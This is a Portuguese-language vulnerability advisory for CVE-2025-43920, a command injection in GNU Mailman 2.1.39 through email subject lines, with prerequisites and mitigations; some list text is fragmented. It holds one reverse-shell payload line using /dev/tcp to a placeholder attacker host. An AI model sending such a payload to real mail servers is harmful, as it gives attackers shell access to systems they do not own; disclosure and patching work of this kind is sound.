
Exploit de prova de conceito para CVE-2025-43920, uma vulnerabilidade de injeção de comandos no GNU Mailman 2.1.39 através de linhas de assunto de e-mail, permitindo execução remota de código e acesso a shell reversa.
Descoberto por: Firudin Davudzada & Musazada Aydan
Data de Divulgação: Abril de 2025
ID CVE: CVE-2025-43920
Gravidade: 5.4 Médio (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N)
Tipo de Ataque: Remoto
Software Afetado: GNU Mailman 2.1.39 (empacotado com cPanel/WHM)
O GNU Mailman 2.1.39, conforme empacotado com cPanel e WHM, é vulnerável a uma falha crítica de injeção de comando que permite que atacantes não autenticados executem comandos arbitrários do sistema operacional. A vulnerabilidade ocorre quando um arquivador externo é configurado usando PUBLIC_EXTERNAL_ARCHIVER ou PRIVATE_EXTERNAL_ARCHIVER no arquivo de configuração mm_cfg.py, e a linha de assunto do email contém metacaracteres de shell que não são devidamente sanitizados. Isso pode levar ao comprometimento total do sistema, permitindo que atacantes estabeleçam shells reversos, exfiltrem dados ou realizem outras ações maliciosas.
PUBLIC_EXTERNAL_ARCHIVER, PRIVATE_EXTERNAL_ARCHIVER)Mailman/Handlers/ (lógica de processamento do assunto do email, potencialmente incluindo arquivos como CookHeaders.py);, &, |) estiverem presentes.Para explorar esta vulnerabilidade, um atacante pode enviar um email para uma lista gerenciada pelo Mailman com uma linha de assunto maliciosa, como:
Subject: ;bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1
Pré-requisitos:
PUBLIC_EXTERNAL_ARCHIVER ou PRIVATE_EXTERNAL_ARCHIVER.netcat) deve ser configurado em IP_ATACANTE:4444 para receber o shell reverso.Resultado Esperado: Se o comando do arquivador externo não sanitizar a linha de assunto, o comando malicioso é executado no servidor, estabelecendo um shell reverso para o servidor do atacante.
Desativar Arquivadores Externos: Defina PUBLIC_EXTERNAL_ARCHIVER e PRIVATE_EXTERNAL_ARCHIVER como None no arquivo mm_cfg.py para desativar a funcionalidade de arquivador externo:
PUBLIC_EXTERNAL_ARCHIVER = None
PRIVATE_EXTERNAL_ARCHIVER = None
Sanitizar Entradas: Se um arquivador externo for necessário, garanta que o comando sanitize a linha de assunto para evitar injeção de metacaracteres de shell.
Restringir Inscrições: Limite as inscrições em listas de discussão a usuários confiáveis para reduzir a exposição.
Firudin Davudzada e Musazada Aydan divulgaram responsavelmente esta vulnerabilidade durante um engajamento de teste de penetração autorizado. Agradecimentos à equipe MITRE CVE pela coordenação.
Email: [email protected]\